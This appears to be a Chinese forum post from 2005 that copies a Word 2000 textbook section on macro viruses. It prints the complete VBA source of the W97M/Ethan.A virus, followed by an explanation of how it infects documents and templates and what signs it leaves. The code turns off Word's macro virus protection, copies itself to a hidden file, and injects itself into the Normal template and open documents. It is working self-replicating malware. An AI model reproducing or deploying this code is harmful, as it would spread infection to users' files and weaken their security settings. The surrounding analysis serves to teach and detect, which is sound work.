宏病毒示例
为了更好地理解宏病毒, 我们仔细分析一下宏病毒
W97M/Ethan.A。
下面是该病毒的代码。
Private Sub Document_Close()
On Error Resume Next
《中文Word2000 高级教程》
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection
= 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item
(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item
(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item
《中文Word2000 高级教程》
( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item
( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
《中文Word2000 高级教程》
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs
( wdDialogFileSummaryInfo ) : .Title = "Ethan
Frome": .Author = "EW/LN/CB": .Keywords =
"Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs
FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved
= s
End Sub
W97M/Ethan.A 是一种寄生型宏病毒,由一个宏组成,能够感染
Word 系统中的文档和模板。在感染过程中,W97M/Ethan.A 使用一种
特殊的算法,从自己的源文件向宿主文件传送病毒代码,在源文件
中存放的是以VBA 代码形式存放的病毒程序。一旦感染成功,
《中文Word2000 高级教程》
W97M/Ethan.A 会删除自身的有关文件,隐藏踪迹,并将感染所有访
问过的Word 文件。
在被感染的Word 文件中,大概有三成几率的文件属性会被病毒
更改,其标题会被改为“Ethan Frome”,而作者会被改为“EW/LN/CB”。
如果发现上述特征,则说明此文档已被W97M/Ethan.A 宏病毒感染。
对已感染的文档进行操作,可能会出现以下问题:
(1)在存储文档时,无法以Word 文档格式存储,而只能存储为
Word 模板格式。
(2)在打开文档时,Word 系统会向用户询问文档的开启密码,
否则无法访问该文件。
(3)在清除了宏病毒之后,仍然看不到Word 系统中的某些命令
或选项,它们可能已被宏病毒删除。
[此贴子已经被作者于2005-4-8 8:54:07编辑过] |